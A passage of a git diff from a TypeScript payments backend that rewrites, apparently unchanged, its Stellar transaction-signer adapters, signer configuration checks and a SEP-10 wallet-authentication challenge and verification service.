StellarKeypair = InstanceType; -let stellarSdkPromise: Promise | undefined; -function loadStellarSdk(): Promise { - stellarSdkPromise ??= import('@stellar/stellar-sdk'); - return stellarSdkPromise; -} - -/** Builds an env-mode signer from a keypair. stellar-sdk's `basicNodeSigner` - * does the signing and returns the SEP-43 shapes. The keypair comes from the - * escrow SDK loader, so tests that fake the SDK also fake the keypair. */ -export async function createEnvPlatformSigner(keypair: StellarKeypair, networkPassphrase: string): Promise { - const { contract } = await loadStellarSdk(); - return new EnvPlatformSigner(keypair.publicKey(), contract.basicNodeSigner(keypair, networkPassphrase)); -} - -/** HTTP reference adapter. The service must implement the documented JSON - * endpoints; all failures are sanitized so response bodies/tokens cannot leak. */ -export class RemotePlatformSigner implements PlatformSigner { - constructor(private readonly config: RemoteSignerConfig, private readonly request: typeof fetch = fetch) { - try { - const endpoint = new URL(config.endpoint); - if (endpoint.protocol !== 'https:' || endpoint.username || endpoint.password || endpoint.search || endpoint.hash) { - throw new PlatformSignerError('Remote signer endpoint must be a clean HTTPS URL.'); - } - } catch (error) { - if (error instanceof PlatformSignerError) throw error; - throw new PlatformSignerError('Remote signer endpoint must be a valid HTTPS URL.'); - } - } - - publicKey(): string { - return this.config.expectedPublicKey; - } - - async validate(): Promise { - const result = await this.call<{ publicKey: string }>('GET', 'public-key'); - if (result.publicKey !== this.config.expectedPublicKey) { - throw new PlatformSignerError(`Remote ${this.config.role} signer public key does not match its configured expected address.`); - } - } - - async signTransaction(xdr: string, options: PlatformSignerOptions): Promise { - const signedTxXdr = await this.callSigned('sign-transaction', { xdr, options: { ...options, networkPassphrase: this.config.networkPassphrase } }); - return { signedTxXdr, signerAddress: this.config.expectedPublicKey }; - } - - async signAuthEntry(authEntryXdr: string, options: PlatformSignerOptions): Promise { - const signedAuthEntry = await this.callSigned('sign-auth-entry', { authEntryXdr, options: { ...options, networkPassphrase: this.config.networkPassphrase } }); - return { signedAuthEntry, signerAddress: this.config.expectedPublicKey }; - } - - private async callSigned(path: string, payload: Record): Promise { - const result = await this.call>('POST', path, payload); - const signature = result.signedXdr ?? result.signedAuthEntryXdr; - if (typeof signature !== 'string' || signature.length === 0) { - throw new PlatformSignerError(`Remote ${this.config.role} signer returned an invalid signing response.`); - } - return signature; - } - - private async call(method: 'GET' | 'POST', path: string, payload?: Record): Promise { - const base = this.config.endpoint.replace(/\/$/, ''); - const url = `${base}/signers/${this.config.role}/${path}`; - try { - const response = await this.request(url, { - method, - headers: { - authorization: `Bearer ${this.config.token}`, - ...(payload ? { 'content-type': 'application/json' } : {}), - }, - ...(payload ? { body: JSON.stringify(payload) } : {}), - signal: AbortSignal.timeout(this.config.timeoutMs), - }); - if (!response.ok) throw new PlatformSignerError(`Remote ${this.config.role} signer request failed (HTTP ${response.status}).`); - return await response.json() as T; - } catch (error) { - if (error instanceof PlatformSignerError) throw error; - throw new PlatformSignerError(`Remote ${this.config.role} signer request failed.`); - } - } -} +/** Signer surface shared with docforum-escrow issue #60. XDR values cross the + * process boundary as strings so remote signers never receive PHI or app data. */ +export interface PlatformSignerOptions { + networkPassphrase: string; + [key: string]: unknown; +} + +/** SEP-43 result shapes. @stellar/stellar-sdk's contract client reads + * `signedTxXdr` back from whatever signer it is given. */ +export interface SignedTransaction { + signedTxXdr: string; + signerAddress?: string; +} + +export interface SignedAuthEntry { + signedAuthEntry: string; + signerAddress?: string; +} + +export interface PlatformSigner { + publicKey(): string; + signTransaction(xdr: string, options: PlatformSignerOptions): Promise; + signAuthEntry?(authEntryXdr: string, options: PlatformSignerOptions): Promise; +} + +/** What `contract.basicNodeSigner(keypair, networkPassphrase)` returns. */ +export interface EnvSignerDelegate { + signTransaction(xdr: string, options?: PlatformSignerOptions): Promise; + signAuthEntry(authEntryXdr: string, options?: PlatformSignerOptions): Promise; +} + +export type PlatformSignerRole = 'payer' | 'releaser'; + +export interface RemoteSignerConfig { + endpoint: string; + token: string; + role: PlatformSignerRole; + expectedPublicKey: string; + networkPassphrase: string; + timeoutMs: number; +} + +export class PlatformSignerError extends Error { + constructor(message: string) { + super(message); + this.name = 'PlatformSignerError'; + } +} + +/** Adapter for a local keypair, wrapped with stellar-sdk's `basicNodeSigner`. + * A bare Keypair has no `signTransaction`, so it can't be the delegate. */ +export class EnvPlatformSigner implements PlatformSigner { + constructor(private readonly accountId: string, private readonly signer: EnvSignerDelegate) {} + + publicKey(): string { + return this.accountId; + } + + async signTransaction(xdr: string, options: PlatformSignerOptions): Promise { + let result: SignedTransaction; + try { + result = await this.signer.signTransaction(xdr, options); + } catch { + throw new PlatformSignerError('Environment transaction signing failed.'); + } + if (typeof result?.signedTxXdr !== 'string' || result.signedTxXdr.length === 0) { + throw new PlatformSignerError('Environment signer returned an invalid signing response.'); + } + return { signedTxXdr: result.signedTxXdr, signerAddress: this.accountId }; + } + + async signAuthEntry(authEntryXdr: string, options: PlatformSignerOptions): Promise { + let result: SignedAuthEntry; + try { + result = await this.signer.signAuthEntry(authEntryXdr, options); + } catch { + throw new PlatformSignerError('Environment authorization signing failed.'); + } + if (typeof result?.signedAuthEntry !== 'string' || result.signedAuthEntry.length === 0) { + throw new PlatformSignerError('Environment signer returned an invalid authorization response.'); + } + return { signedAuthEntry: result.signedAuthEntry, signerAddress: this.accountId }; + } +} + +// stellar-sdk is ESM-only in practice on Node 20 (its CJS build requires an +// ESM dependency), so it is loaded with a dynamic import, like the escrow SDK. +type StellarSdkModule = typeof import('@stellar/stellar-sdk', { with: { 'resolution-mode': 'import' } }); +type StellarKeypair = InstanceType; +let stellarSdkPromise: Promise | undefined; +function loadStellarSdk(): Promise { + stellarSdkPromise ??= import('@stellar/stellar-sdk'); + return stellarSdkPromise; +} + +/** Builds an env-mode signer from a keypair. stellar-sdk's `basicNodeSigner` + * does the signing and returns the SEP-43 shapes. The keypair comes from the + * escrow SDK loader, so tests that fake the SDK also fake the keypair. */ +export async function createEnvPlatformSigner(keypair: StellarKeypair, networkPassphrase: string): Promise { + const { contract } = await loadStellarSdk(); + return new EnvPlatformSigner(keypair.publicKey(), contract.basicNodeSigner(keypair, networkPassphrase)); +} + +/** HTTP reference adapter. The service must implement the documented JSON + * endpoints; all failures are sanitized so response bodies/tokens cannot leak. */ +export class RemotePlatformSigner implements PlatformSigner { + constructor(private readonly config: RemoteSignerConfig, private readonly request: typeof fetch = fetch) { + try { + const endpoint = new URL(config.endpoint); + if (endpoint.protocol !== 'https:' || endpoint.username || endpoint.password || endpoint.search || endpoint.hash) { + throw new PlatformSignerError('Remote signer endpoint must be a clean HTTPS URL.'); + } + } catch (error) { + if (error instanceof PlatformSignerError) throw error; + throw new PlatformSignerError('Remote signer endpoint must be a valid HTTPS URL.'); + } + } + + publicKey(): string { + return this.config.expectedPublicKey; + } + + async validate(): Promise { + const result = await this.call<{ publicKey: string }>('GET', 'public-key'); + if (result.publicKey !== this.config.expectedPublicKey) { + throw new PlatformSignerError(`Remote ${this.config.role} signer public key does not match its configured expected address.`); + } + } + + async signTransaction(xdr: string, options: PlatformSignerOptions): Promise { + const signedTxXdr = await this.callSigned('sign-transaction', { xdr, options: { ...options, networkPassphrase: this.config.networkPassphrase } }); + return { signedTxXdr, signerAddress: this.config.expectedPublicKey }; + } + + async signAuthEntry(authEntryXdr: string, options: PlatformSignerOptions): Promise { + const signedAuthEntry = await this.callSigned('sign-auth-entry', { authEntryXdr, options: { ...options, networkPassphrase: this.config.networkPassphrase } }); + return { signedAuthEntry, signerAddress: this.config.expectedPublicKey }; + } + + private async callSigned(path: string, payload: Record): Promise { + const result = await this.call>('POST', path, payload); + const signature = result.signedXdr ?? result.signedAuthEntryXdr; + if (typeof signature !== 'string' || signature.length === 0) { + throw new PlatformSignerError(`Remote ${this.config.role} signer returned an invalid signing response.`); + } + return signature; + } + + private async call(method: 'GET' | 'POST', path: string, payload?: Record): Promise { + const base = this.config.endpoint.replace(/\/$/, ''); + const url = `${base}/signers/${this.config.role}/${path}`; + try { + const response = await this.request(url, { + method, + headers: { + authorization: `Bearer ${this.config.token}`, + ...(payload ? { 'content-type': 'application/json' } : {}), + }, + ...(payload ? { body: JSON.stringify(payload) } : {}), + signal: AbortSignal.timeout(this.config.timeoutMs), + }); + if (!response.ok) throw new PlatformSignerError(`Remote ${this.config.role} signer request failed (HTTP ${response.status}).`); + return await response.json() as T; + } catch (error) { + if (error instanceof PlatformSignerError) throw error; + throw new PlatformSignerError(`Remote ${this.config.role} signer request failed.`); + } + } +} diff --git a/backend/src/modules/payments/services/platform-signers.ts b/backend/src/modules/payments/services/platform-signers.ts index 174bc7d6..2e57c1eb 100644 --- a/backend/src/modules/payments/services/platform-signers.ts +++ b/backend/src/modules/payments/services/platform-signers.ts @@ -1,90 +1,90 @@ -import { config } from '../../../config'; -import { loadEscrowSdk } from './escrow-sdk-loader'; -import { - createEnvPlatformSigner, - PlatformSignerError, - RemotePlatformSigner, - type PlatformSigner, - type PlatformSignerRole, -} from './platform-signer'; - -export { createEnvPlatformSigner, EnvPlatformSigner, PlatformSignerError, RemotePlatformSigner } from './platform-signer'; -export type { PlatformSigner, PlatformSignerRole } from './platform-signer'; - -export interface PlatformSigners { - payer: PlatformSigner; - releaser: PlatformSigner; -} - -let signersPromise: Promise | undefined; - -function expectedPublicKey(role: PlatformSignerRole): string | undefined { - return role === 'payer' ? config.payments.platformPayerPublicKey : config.payments.platformReleaserPublicKey; -} - -async function createSigners(): Promise { - const { platformSignerMode, platformSignerUrl, platformSignerToken, platformSignerTimeoutMs, networkPassphrase } = config.payments; - if (!Number.isSafeInteger(platformSignerTimeoutMs) || platformSignerTimeoutMs < 1) { - throw new PlatformSignerError('PLATFORM_SIGNER_TIMEOUT_MS must be a positive integer.'); - } - - if (platformSignerMode === 'remote') { - if (!platformSignerUrl || !platformSignerToken) { - throw new PlatformSignerError('Remote signer mode requires PLATFORM_SIGNER_URL and PLATFORM_SIGNER_TOKEN.'); - } - const payerKey = expectedPublicKey('payer'); - const releaserKey = expectedPublicKey('releaser'); - if (!payerKey || !releaserKey) { - throw new PlatformSignerError('Remote signer mode requires configured payer and releaser public keys.'); - } - const payer = new RemotePlatformSigner({ endpoint: platformSignerUrl, token: platformSignerToken, role: 'payer', expectedPublicKey: payerKey, networkPassphrase, timeoutMs: platformSignerTimeoutMs }); - const releaser = new RemotePlatformSigner({ endpoint: platformSignerUrl, token: platformSignerToken, role: 'releaser', expectedPublicKey: releaserKey, networkPassphrase, timeoutMs: platformSignerTimeoutMs }); - await Promise.all([payer.validate(), releaser.validate()]); - return { payer, releaser }; - } - - if (platformSignerMode !== 'env') throw new PlatformSignerError('PLATFORM_SIGNER_MODE must be env or remote.'); - const { Keypair } = await loadEscrowSdk(); - const payerSecret = config.payments.platformPayerSecret; - const releaserSecret = config.payments.platformReleaserSecret; - if (!payerSecret || !releaserSecret) { - throw new PlatformSignerError('Environment signer mode requires PLATFORM_PAYER_SECRET and PLATFORM_RELEASER_SECRET.'); - } - - try { - const payer = await createEnvPlatformSigner(Keypair.fromSecret(payerSecret), networkPassphrase); - const releaser = await createEnvPlatformSigner(Keypair.fromSecret(releaserSecret), networkPassphrase); - for (const [role, signer] of [['payer', payer], ['releaser', releaser]] as const) { - const expected = expectedPublicKey(role); - if (expected && signer.publicKey() !== expected) { - throw new PlatformSignerError(`Configured ${role} signer public key does not match its expected address.`); - } - if (!expected && process.env.NODE_ENV !== 'test') { - throw new PlatformSignerError(`PLATFORM_${role.toUpperCase()}_PUBLIC_KEY is required when environment signers are configured.`); - } - } - return { payer, releaser }; - } catch (error) { - if (error instanceof PlatformSignerError) throw error; - throw new PlatformSignerError('Environment platform signer initialization failed. Check signer configuration.'); - } -} - -export function getPlatformSigners(): Promise { - signersPromise ??= createSigners().catch((error: unknown) => { - signersPromise = undefined; - throw error; - }); - return signersPromise; -} - -/** Validate active signer addresses during startup, before payments are served. */ -export async function validatePlatformSigners(): Promise { - const configured = config.payments.platformSignerMode !== 'env' - || Boolean(config.payments.platformPayerSecret || config.payments.platformReleaserSecret); - if (configured) await getPlatformSigners(); -} - -export function resetPlatformSignersForTests(): void { - signersPromise = undefined; -} +import { config } from '../../../config'; +import { loadEscrowSdk } from './escrow-sdk-loader'; +import { + createEnvPlatformSigner, + PlatformSignerError, + RemotePlatformSigner, + type PlatformSigner, + type PlatformSignerRole, +} from './platform-signer'; + +export { createEnvPlatformSigner, EnvPlatformSigner, PlatformSignerError, RemotePlatformSigner } from './platform-signer'; +export type { PlatformSigner, PlatformSignerRole } from './platform-signer'; + +export interface PlatformSigners { + payer: PlatformSigner; + releaser: PlatformSigner; +} + +let signersPromise: Promise | undefined; + +function expectedPublicKey(role: PlatformSignerRole): string | undefined { + return role === 'payer' ? config.payments.platformPayerPublicKey : config.payments.platformReleaserPublicKey; +} + +async function createSigners(): Promise { + const { platformSignerMode, platformSignerUrl, platformSignerToken, platformSignerTimeoutMs, networkPassphrase } = config.payments; + if (!Number.isSafeInteger(platformSignerTimeoutMs) || platformSignerTimeoutMs < 1) { + throw new PlatformSignerError('PLATFORM_SIGNER_TIMEOUT_MS must be a positive integer.'); + } + + if (platformSignerMode === 'remote') { + if (!platformSignerUrl || !platformSignerToken) { + throw new PlatformSignerError('Remote signer mode requires PLATFORM_SIGNER_URL and PLATFORM_SIGNER_TOKEN.'); + } + const payerKey = expectedPublicKey('payer'); + const releaserKey = expectedPublicKey('releaser'); + if (!payerKey || !releaserKey) { + throw new PlatformSignerError('Remote signer mode requires configured payer and releaser public keys.'); + } + const payer = new RemotePlatformSigner({ endpoint: platformSignerUrl, token: platformSignerToken, role: 'payer', expectedPublicKey: payerKey, networkPassphrase, timeoutMs: platformSignerTimeoutMs }); + const releaser = new RemotePlatformSigner({ endpoint: platformSignerUrl, token: platformSignerToken, role: 'releaser', expectedPublicKey: releaserKey, networkPassphrase, timeoutMs: platformSignerTimeoutMs }); + await Promise.all([payer.validate(), releaser.validate()]); + return { payer, releaser }; + } + + if (platformSignerMode !== 'env') throw new PlatformSignerError('PLATFORM_SIGNER_MODE must be env or remote.'); + const { Keypair } = await loadEscrowSdk(); + const payerSecret = config.payments.platformPayerSecret; + const releaserSecret = config.payments.platformReleaserSecret; + if (!payerSecret || !releaserSecret) { + throw new PlatformSignerError('Environment signer mode requires PLATFORM_PAYER_SECRET and PLATFORM_RELEASER_SECRET.'); + } + + try { + const payer = await createEnvPlatformSigner(Keypair.fromSecret(payerSecret), networkPassphrase); + const releaser = await createEnvPlatformSigner(Keypair.fromSecret(releaserSecret), networkPassphrase); + for (const [role, signer] of [['payer', payer], ['releaser', releaser]] as const) { + const expected = expectedPublicKey(role); + if (expected && signer.publicKey() !== expected) { + throw new PlatformSignerError(`Configured ${role} signer public key does not match its expected address.`); + } + if (!expected && process.env.NODE_ENV !== 'test') { + throw new PlatformSignerError(`PLATFORM_${role.toUpperCase()}_PUBLIC_KEY is required when environment signers are configured.`); + } + } + return { payer, releaser }; + } catch (error) { + if (error instanceof PlatformSignerError) throw error; + throw new PlatformSignerError('Environment platform signer initialization failed. Check signer configuration.'); + } +} + +export function getPlatformSigners(): Promise { + signersPromise ??= createSigners().catch((error: unknown) => { + signersPromise = undefined; + throw error; + }); + return signersPromise; +} + +/** Validate active signer addresses during startup, before payments are served. */ +export async function validatePlatformSigners(): Promise { + const configured = config.payments.platformSignerMode !== 'env' + || Boolean(config.payments.platformPayerSecret || config.payments.platformReleaserSecret); + if (configured) await getPlatformSigners(); +} + +export function resetPlatformSignersForTests(): void { + signersPromise = undefined; +} diff --git a/backend/src/modules/payments/services/sep10.ts b/backend/src/modules/payments/services/sep10.ts index 4379b3b4..5c47cfbd 100644 --- a/backend/src/modules/payments/services/sep10.ts +++ b/backend/src/modules/payments/services/sep10.ts @@ -1,384 +1,384 @@ -// SEP-10 Stellar Web Authentication server (issue #77, ADR 0005 step 4). -// -// Before a patient or facility wallet can be trusted as payer or payee, -// the backend must prove the caller controls that Stellar address. SEP-10 -// is the standard flow: the server issues a challenge transaction, the -// user's wallet signs it server-side (the backend builds and submits -// everything; the browser only relays XDR β€” docforum-web hard rule 1), -// and the server verifies the signature. This file is generic -// infrastructure; wallet-link storage (patient/facility scoped links) is -// future work on top of it. -// -// What verifies what β€” the SEP-10 server verification list, in order: -// 1. base64 XDR deserializes as a Transaction β†’ readChallengeTx -// 2. sequence number == 0 β†’ readChallengeTx -// 3. tx source == server signing account β†’ readChallengeTx -// 4. bounded, unexpired timebounds β†’ readChallengeTx (SDK -// allows 5 min of clock-drift grace; our DB record enforces the issued -// timeout strictly, so the two layers together are tighter than either) -// 5. >= 1 operation; first op is Manage Data with the client account as -// source; key is " auth"; value is a 48-byte-base64 -// nonce; subsequent ops are Manage Data sourced by the server with -// web_auth_domain == ours β†’ readChallengeTx -// 6. server signature present and valid β†’ readChallengeTx -// (steps 1-6 = WebAuth.readChallengeTx) -// 7. client signatures: for a FUNDED account, signer weights loaded from -// Horizon must meet the account's medium threshold -// (verifyChallengeTxThreshold); for an UNFUNDED account (per spec β€” -// see below) the master key must sign -// (verifyChallengeTxSigners). -// Plus our own additions on top of the spec list: the challenge's nonce -// must exist in OUR issuance ledger, still unconsumed and unexpired -// (single-use, consumed atomically), and must be bound to the -// authenticated caller and the exact account in the challenge. -import { HttpError } from '../../../http-error'; -import { config } from '../../../config'; -import * as paymentsRepo from '../repositories'; -import { loadStellarSdk } from './stellar-sdk-loader'; -import type { Keypair, Transaction } from '@stellar/stellar-sdk' with { 'resolution-mode': 'import' }; - -// --- Configuration ------------------------------------------------------- - -export interface Sep10Config { - serverKeypair: Keypair; - serverAccountId: string; - homeDomain: string; - webAuthDomain: string; - networkPassphrase: string; - horizonUrl: string; - timeoutSeconds: number; -} - -/** Human-readable configuration problems, naming ENV VAR NAMES only β€” - * never the secret value. Used by both the startup check and the lazy - * per-request check. */ -export async function sep10ConfigProblems(): Promise { - const problems: string[] = []; - if (!config.sep10.signingSecret) problems.push('SEP10_SIGNING_SECRET'); - if (!config.sep10.homeDomain) problems.push('SEP10_HOME_DOMAIN'); - if (!config.sep10.webAuthDomain) problems.push('SEP10_WEB_AUTH_DOMAIN'); - if (!Number.isInteger(config.sep10.challengeTimeoutSeconds) || config.sep10.challengeTimeoutSeconds <= 0) { - problems.push('SEP10_CHALLENGE_TIMEOUT_SECONDS (must be a positive integer)'); - } - if (config.sep10.signingSecret) { - const { Keypair } = await loadStellarSdk(); - try { - Keypair.fromSecret(config.sep10.signingSecret); - } catch { - // The parse error itself would echo the bad secret β€” report the var - // name, never the value. - problems.push('SEP10_SIGNING_SECRET (not a valid Stellar secret key)'); - } - } - return problems; -} - -/** Startup validation (issue #77: "validate at startup"). Called from - * src/server.ts before the listener starts, so a deployment with a - * missing/typo'd web-auth key fails to boot instead of 500ing on the - * first challenge request. Deliberately NOT called at module import: - * test suites build the app without importing server.ts. */ -export async function validateSep10Config(): Promise { - const problems = await sep10ConfigProblems(); - if (problems.length > 0) { - throw new Error(`SEP-10 configuration invalid β€” missing or invalid env var(s): ${problems.join(', ')}.`); - } -} - -/** Lazy per-request check for paths that need the config (mirrors - * requirePaymentsConfig in the sibling payments services). Throws a 500 - * HttpError, not a boot failure β€” this is the second line of defence for - * environments that don't run server.ts. */ -async function requireSep10Config(): Promise { - const problems = await sep10ConfigProblems(); - if (problems.length > 0) { - throw new HttpError(500, `SEP-10 is not configured β€” missing or invalid env var(s): ${problems.join(', ')}.`); - } - const { Keypair } = await loadStellarSdk(); - const serverKeypair = Keypair.fromSecret(config.sep10.signingSecret!); - return { - serverKeypair, - serverAccountId: serverKeypair.publicKey(), - homeDomain: config.sep10.homeDomain!, - webAuthDomain: config.sep10.webAuthDomain!, - networkPassphrase: config.sep10.networkPassphrase, - horizonUrl: config.sep10.horizonUrl, - timeoutSeconds: config.sep10.challengeTimeoutSeconds, - }; -} - -// --- Horizon seam (tests inject a fake; no network in the test suite) ---- - -export interface Sep10Signer { - key: string; - weight: number; - type: string; -} - -export interface Sep10AccountInfo { - accountId: string; - thresholds: { low_threshold: number; med_threshold: number; high_threshold: number }; - signers: Sep10Signer[]; -} - -/** Returns null when the account does not exist on the network yet - * (Horizon 404 β€” the SEP-10 "unfunded" case). Throws on any other - * Horizon failure. */ -export type Sep10AccountFetcher = (accountId: string) => Promise; - -let accountFetcherOverride: Sep10AccountFetcher | undefined; - -/** Test seam, same pattern as auth's setEmailSender: unit/integration - * tests replace the outbound Horizon call through this module's service - * surface instead of mocking a network client. Never called with an - * override in production code. */ -export function setSep10AccountFetcher(fetcher: Sep10AccountFetcher): void { - accountFetcherOverride = fetcher; -} - -export function resetSep10AccountFetcher(): void { - accountFetcherOverride = undefined; -} - -function isHorizonNotFound(err: unknown): boolean { - if (typeof err !== 'object' || err === null) return false; - const candidate = err as { name?: string; status?: number; response?: { status?: number } }; - return candidate.name === 'NotFoundError' || candidate.status === 404 || candidate.response?.status === 404; -} - -async function defaultAccountFetcher(accountId: string): Promise { - const { Horizon } = await loadStellarSdk(); - const horizon = new Horizon.Server(config.sep10.horizonUrl); - try { - const account = await horizon.accounts().accountId(accountId).call(); - return { - accountId: account.id, - thresholds: { - low_threshold: account.thresholds.low_threshold, - med_threshold: account.thresholds.med_threshold, - high_threshold: account.thresholds.high_threshold, - }, - signers: account.signers.map((signer) => ({ key: signer.key, weight: signer.weight, type: signer.type })), - }; - } catch (err) { - if (isHorizonNotFound(err)) return null; - throw err; - } -} - -async function fetchAccountInfo(accountId: string): Promise { - try { - return await (accountFetcherOverride ?? defaultAccountFetcher)(accountId); - } catch (err) { - if (err instanceof HttpError) throw err; - if (isHorizonNotFound(err)) return null; - // Don't forward Horizon/axios internals (URLs, request config) to the - // client β€” the fact that we couldn't load signers is all they get. - throw new HttpError(502, 'Could not load the account from Horizon to verify its signers.', 'SEP10_HORIZON_UNAVAILABLE'); - } -} - -// --- Challenge building -------------------------------------------------- - -/** The nonce is the base64 string in the first Manage Data op's value - * (" auth", source = client account): 48 random bytes - * base64-encoded to 64 chars, per SEP-10. That exact string is what gets - * stored as Sep10Challenge.nonce β€” the single-use key. */ -function challengeNonce(tx: Transaction): string { - const [firstOp] = tx.operations; - if (!firstOp || firstOp.type !== 'manageData') { - throw new HttpError(500, 'Built challenge is malformed (first operation is not Manage Data).'); - } - // Parsed Manage Data values arrive as a string for valid UTF-8 (which - // a base64 nonce always is) and as a Buffer otherwise; normalise to - // the exact string form SEP-10 specifies. - const value = firstOp.value; - return Buffer.isBuffer(value) ? value.toString('utf8') : String(value); -} - -/** Parses a submitted challenge XDR just enough to pull the nonce out. - * Assumes the caller already ran WebAuth.readChallengeTx (structure, - * timebounds and server signature are its job, not this helper's). */ -function signedChallengeNonce(tx: Transaction): string { - return challengeNonce(tx); -} - -export interface Sep10ChallengeResponse { - transaction: string; - expires_in: number; - network_passphrase: string; -} - -/** GET /payments/sep10/challenge β€” builds a server-signed SEP-10 - * challenge for `account` and records the issuance binding - * (userId, account, nonce, expiresAt) so a verified signature can only - * ever be redeemed by that user, for that account, once. */ -export async function createSep10Challenge(userId: string, account: string): Promise { - const { StrKey, WebAuth } = await loadStellarSdk(); - - // Full strkey validation (base32 + CRC16 checksum), not just the G… - // shape β€” a checksum-invalid key would otherwise be discovered only at - // wallet-signing time. - if (!StrKey.isValidEd25519PublicKey(account)) { - throw new HttpError(400, 'account must be a valid Stellar public key (G…).', 'SEP10_INVALID_ACCOUNT'); - } - - const cfg = await requireSep10Config(); - - let transaction: string; - try { - // Server-signed, Manage Data nonce, bounded timebounds, home domain - // and web_auth_domain β€” all handled by the SDK helper. - transaction = WebAuth.buildChallengeTx( - cfg.serverKeypair, - account, - cfg.homeDomain, - cfg.timeoutSeconds, - cfg.networkPassphrase, - cfg.webAuthDomain, - ); - } catch (err) { - // No secret can appear here (the keypair was already validated), but - // keep the message generic anyway. - throw new HttpError(500, `Could not build the SEP-10 challenge: ${err instanceof Error ? err.message : 'unknown error'}`); - } - - // Read our own challenge back through the same validation path a client - // submission takes β€” if it doesn't round-trip, we'd be handing out a - // challenge we would later reject. - const read = WebAuth.readChallengeTx(transaction, cfg.serverAccountId, cfg.networkPassphrase, cfg.homeDomain, cfg.webAuthDomain); - const nonce = challengeNonce(read.tx); - const maxTimeSeconds = Number(read.tx.timeBounds?.maxTime ?? NaN); - if (!Number.isFinite(maxTimeSeconds)) { - throw new HttpError(500, 'Built challenge has no time bounds.'); - } - const expiresAt = new Date(maxTimeSeconds * 1000); - - await paymentsRepo.createSep10Challenge({ userId, account, nonce, expiresAt }); - - return { - transaction, - expires_in: cfg.timeoutSeconds, - network_passphrase: cfg.networkPassphrase, - }; -} - -// --- Challenge verification --------------------------------------------- - -export interface Sep10VerifyResult { - account: string; - signers: string[]; -} - -/** POST /payments/sep10/verify β€” the full SEP-10 server verification - * list plus DocForum's own single-use/binding rules. On success the - * caller has proven control of `account` (fundamentally: the same proof - * of control the Stellar network itself would honour for this - * transaction), and the challenge is consumed. - * - * UNFUNDED ACCOUNTS (SEP-10 spec): an account that does not exist on the - * network has no signers and no thresholds on record, so weights cannot - * be checked. The spec's rule for that case is that the challenge must be - * signed by the account's MASTER key, and by exactly one other signature - * (the server's) on the envelope β€” verifyChallengeTxSigners enforces - * both. We detect the unfunded case by a Horizon 404; any other Horizon - * error is a 502, never silently treated as unfunded (that would downgrade - * multisig accounts to master-key-only verification). - * - * This endpoint does NOT mint a DocForum session JWT: DocForum's own - * auth (Bearer access token) already authenticates the caller β€” SEP-10's - * job here is proving wallet control, not issuing a session. */ -export async function verifySep10Challenge(userId: string, challengeTx: string): Promise { - const cfg = await requireSep10Config(); - const { WebAuth } = await loadStellarSdk(); - - // Steps 1-6 of the SEP-10 list: deserialize, sequence == 0, source == - // server account, bounded/unexpired timebounds, operation shape - // (first op Manage Data sourced by the client with " auth" - // key and a valid nonce, later ops Manage Data sourced by the server, - // web_auth_domain == ours), and the server signature. - let read: { tx: Transaction; clientAccountID: string }; - try { - read = WebAuth.readChallengeTx( - challengeTx, - cfg.serverAccountId, - cfg.networkPassphrase, - cfg.homeDomain, - cfg.webAuthDomain, - ); - } catch (err) { - throw new HttpError(400, `Invalid challenge: ${err instanceof Error ? err.message : 'could not parse transaction'}`, 'SEP10_INVALID_CHALLENGE'); - } - - const nonce = signedChallengeNonce(read.tx); - - // Our own ledger: was this challenge issued by us, is it still good, - // and is it THIS caller's, for THIS account? Checked before the Horizon - // round trip so a mismatched submission can't make us fetch signers. - const record = await paymentsRepo.findSep10ChallengeByNonce(nonce); - if (!record) { - throw new HttpError(401, 'Challenge was not issued by this server.', 'SEP10_CHALLENGE_UNKNOWN'); - } - if (record.userId !== userId || record.account !== read.clientAccountID) { - // A signed challenge is never transferable: not to another user, and - // not for another account than the one the challenge was issued for. - throw new HttpError(403, 'This challenge was issued to a different user or account.', 'SEP10_CHALLENGE_NOT_FOR_CALLER'); - } - if (record.consumedAt) { - throw new HttpError(401, 'This challenge has already been used.', 'SEP10_CHALLENGE_ALREADY_USED'); - } - // Strict check against OUR clock, without the SDK's 5-minute drift - // grace β€” a challenge is good for exactly the window we issued it for. - if (record.expiresAt.getTime() <= Date.now()) { - throw new HttpError(401, 'This challenge has expired.', 'SEP10_CHALLENGE_EXPIRED'); - } - - // Steps 7/8 of the SEP-10 list: client signatures. - const accountInfo = await fetchAccountInfo(read.clientAccountID); - let matchedSigners: string[]; - try { - if (accountInfo === null) { - // Unfunded account β€” no on-chain signers/thresholds exist; the - // master key must sign (documented in the API docs as well). - matchedSigners = WebAuth.verifyChallengeTxSigners( - challengeTx, - cfg.serverAccountId, - cfg.networkPassphrase, - [read.clientAccountID], - cfg.homeDomain, - cfg.webAuthDomain, - ); - } else { - // Multisig: load signers + thresholds from Horizon and enforce the - // account's MEDIUM threshold β€” SEP-10's guidance is medium for - // authority aligned with the ability to move funds, which is - // exactly what a verified wallet link gates. The server's own - // signature contributes no client weight (enforced by the SDK). - matchedSigners = WebAuth.verifyChallengeTxThreshold( - challengeTx, - cfg.serverAccountId, - cfg.networkPassphrase, - accountInfo.thresholds.med_threshold, - accountInfo.signers, - cfg.homeDomain, - cfg.webAuthDomain, - ); - } - } catch (err) { - // A structurally sound challenge whose client signature is missing, - // unknown, or below threshold. - throw new HttpError(401, `Challenge signature verification failed: ${err instanceof Error ? err.message : 'unknown error'}`, 'SEP10_INVALID_SIGNATURE'); - } - - // Step 9 β€” single-use, consumed atomically and LAST: a bad signature - // never burns a legitimately issued nonce, and two concurrent replays - // of the same signed challenge race here β€” exactly one conditional - // UPDATE wins (`WHERE consumedAt IS NULL AND expiresAt > now`). - const consumedAt = new Date(); - const { count } = await paymentsRepo.consumeSep10Challenge(nonce, consumedAt); - if (count !== 1) { - throw new HttpError(401, 'This challenge has already been used.', 'SEP10_CHALLENGE_ALREADY_USED'); - } - - return { account: read.clientAccountID, signers: matchedSigners }; -} +// SEP-10 Stellar Web Authentication server (issue #77, ADR 0005 step 4). +// +// Before a patient or facility wallet can be trusted as payer or payee, +// the backend must prove the caller controls that Stellar address. SEP-10 +// is the standard flow: the server issues a challenge transaction, the +// user's wallet signs it server-side (the backend builds and submits +// everything; the browser only relays XDR β€” docforum-web hard rule 1), +// and the server verifies the signature. This file is generic +// infrastructure; wallet-link storage (patient/facility scoped links) is +// future work on top of it. +// +// What verifies what β€” the SEP-10 server verification list, in order: +// 1. base64 XDR deserializes as a Transaction β†’ readChallengeTx +// 2. sequence number == 0 β†’ readChallengeTx +// 3. tx source == server signing account β†’ readChallengeTx +// 4. bounded, unexpired timebounds β†’ readChallengeTx (SDK +// allows 5 min of clock-drift grace; our DB record enforces the issued +// timeout strictly, so the two layers together are tighter than either) +// 5. >= 1 operation; first op is Manage Data with the client account as +// source; key is " auth"; value is a 48-byte-base64 +// 